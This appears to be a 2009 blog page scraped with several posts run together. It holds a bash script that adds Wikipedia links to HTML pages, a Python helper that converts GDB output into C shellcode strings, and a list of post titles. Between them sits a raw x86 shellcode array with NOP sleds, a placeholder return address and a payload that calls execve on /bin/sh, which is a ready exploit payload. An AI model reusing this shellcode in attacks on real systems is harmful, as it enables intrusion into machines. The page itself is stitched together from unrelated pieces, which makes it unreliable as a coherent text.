Year: 2009

<![CDATA[ <body>
#!/bin/bash
### A script which tries to Wikipediafy a given HTML page
### That means that every proper noun is linked against the Wikipedia
### but only if it's not already linked against something.
### Assumptions are, that the HTML file has a "<body>" Tag on a seperate
### line and that "<a>" Tags don't span multiple lines.
### Also, Capitalised words in XML Tags are treated as payload words, just
### because parsing XML properly is a matter of 100k Shellscript (consider
### parsing <[DATA[!). Also, this assumption is not too far off, because
### Captd words in XML happen seldomly anyway.
### As this is written in Bash, it is horribly slow. You'd rather want to do
### this in a language that actually understand {X,HT}ML like Python

# You might want to change this
BASEURL="http://en.wikipedia.org/wiki/"

set -e

### Better not change anything below, it might kill kittens
# To break only on newlines, set the IFS to that
OLD_IFS=$IFS
IFS='
'
HTML=$(cat $1) # Read the file for performance reasons
# Find the beginning and end of Document and try to be permissive with HTML
# Errors by only stopping after hitting one <body> Tag
START_BODY=$(grep --max-count=1 -ni '<body>'<<<"$HTML" | cut -d: -f1)
END_BODY=$(grep --max-count=1 -ni '</body>'<<<"$HTML" | cut -d: -f1)

HEAD=$(head -n $START_BODY<<<"$HTML") # Extract the Head for later use
# $(()) is most probably a non-portable bashism, so one wants to get rid of that
RANGE_BODY=$(($END_BODY-$START_BODY))

# And the extract the body
PAYLOAD=$(tail -n +${START_BODY} <<<"$HTML" | tail -n ${RANGE_BODY})

### This is the main part
### Basically search for all words beginning with a capital letter
### and match that. We can use that later with \1.

### Try to find already linked words, replace them by their MD5 hash,
### Run generic Word finding mechanism and replace back later

# We simply assume that a link doesn't span multiple lines
LINKMATCHES=$(grep -i -E --only-matching '<a .*>.*</a>' $1 || true)

LINKMATCH_ARRAY=()
MD5_ARRAY=()
CLEANEDPAYLOAD=$PAYLOAD
if [[ -n $LINKMATCHES ]]; then
    # We have found already linked words, put them into an array
    LINKMATCH_ARRAY=( $LINKMATCHES )
    index=0 # iterate over array
    for MATCH in $LINKMATCHES; do
        # Uniquely hash the found link and replace it, saving it's origin
        MATCHMD5=$(md5sum <<<$MATCH | awk '{print $1}')
        MD5_ARRAY[$index]=$MATCHMD5
        # We simply assume that there's no "," in the match
        # Use Bash internals string replacement facilities
        CLEANEDPAYLOAD=${CLEANEDPAYLOAD//${MATCH}/${MATCHMD5}}
        let "index = $index + 1"
    done
fi

# Find the matches
WORDMATCHES=$(grep --only-matching '[A-Z][a-z][a-z]*'<<<$CLEANEDPAYLOAD | sort | uniq)
WORDMATCHES_ARRAY=( $WORDMATCHES )
index=0
WIKIFIED=$CLEANEDPAYLOAD
while [[ "$index" -lt ${#WORDMATCHES_ARRAY[@]} ]]; do
    # Yeah, iterating over an array with 300+ entries is fun *sigh*
    # You could now ask Wikipedia and only continue if the page exist
    # if wget -q "${BASEURL}${SEARCH}"; then ...; else ...; fi
    SEARCH="${WORDMATCHES_ARRAY[$index]}"
    REPLACE="<a href=\"${BASEURL}${SEARCH}\">\2</a>"
    # Note, that we replace the first occurence only
    #WIKIFIED=${WIKIFIED/$SEARCH/$REPLACE} ## That's horribly slow, so use sed
    # Watch out for a problem: "<p>King" shall match as well as "King</p>"
    # or "King." but not eBook.
    # We thus match the needle plus the previous/following char,
    # iff it's not [A-Za-z]
    WIKIFIED=$(sed -e "s,\([^A-Za-z]\)\($SEARCH\)\([^A-Za-z]\),\1$REPLACE\3,"<<<$WIKIFIED) # so use sed
    let "index += 1"
done

# Replace hashed links with their original, same as above, only reverse.
# One could apply this technique to other tags besides <a>, but you really
# want to write that in a proper language :P
index=0
NOLINKWIKIPEDIAFIED=$WIKIFIED
while [[ "$index" -lt ${#MD5_ARRAY[@]} ]]; do
    SEARCH=${MD5_ARRAY[$index]}
    REPLACE=${LINKMATCH_ARRAY[$index]}
    NOLINKWIKIPEDIAFIED=${NOLINKWIKIPEDIAFIED//$SEARCH/$REPLACE}
    let "index += 1"
done

### Since we have the head and the payload separate, echo both
echo $HEAD
echo $NOLINKWIKIPEDIAFIED

# Reset the IFS, e.g. for following scripts
IFS=$OLD_IFS
char shcode[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* First the NOPs*/
 "\xeb\x04"              /* Jump over the ret addr */
 "\x41\x41\x41\x41"        /* wannabe ret addr */
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
 /* Second NOP slide */
 "\xeb\x5d\x5e\x89\xf4\x81\xec\xc8\x00\x00\x00\x31\xff\xb8\x02\x00\x00\x00\xcd\x80\x85\xc0\x74\x17\xb8\xa2\x00\x00\x00\x68\xb8\x0b\x00\x00\x68\xb8\x0b\x00\x00\x89\xe3\x89\xf9\xcd\x80\xeb\xe9\x8b\x9e\xfc\xfd\xff\xff\x89\xf9\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x41\xb8\x3f\x00\x00\x00\xcd\x80\x89\xf8\x88\x46\x07\x50\x56\x89\xfa\x89\xe1\x89\xf3\xb0\x0b\xcd\x80\xe8\x9e\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41"
 /* that's the shellcode */
#!/usr/bin/env python
import sys

paginator  = '''---Type  to continue, or q  to quit---'''

def convert (to_convert):
    retlines = []
    for line in to_convert.splitlines():
        if line.startswith('--'):
            continue
        pos = line.find(":")
        newline_string = line[pos+1:]
        for needle, replacement  in (('\t', ''),
                       ('0x', r'\x'),
                       ('\n', ''),
                       (paginator, '')):
            newline_string = newline_string.replace(needle, replacement)
        retlines.append (newline_string)
    return "".join(retlines)

if __name__ == "__main__":
    to_convert = sys.stdin.read()
    converted = convert (to_convert)
    print converted

Year: 2009

Why I cannot use turnitin.com

You should also upload the essay to turnitin.com using the password key:

5vu0h5fw and id: 2998602

Late entries will suffer a penalty.

Wikify Pages

Bugsquad Talk @ FOSS.in

FOSS.in – Impressions

Convert GDB output to C-style shellcode

IRISS Conference 2009

Ireland vs. France

Split CUE File and losslessly compressed Audio (FLAC, ape, …)

GNOME Post-Only

jOEpardy at Easterhegg09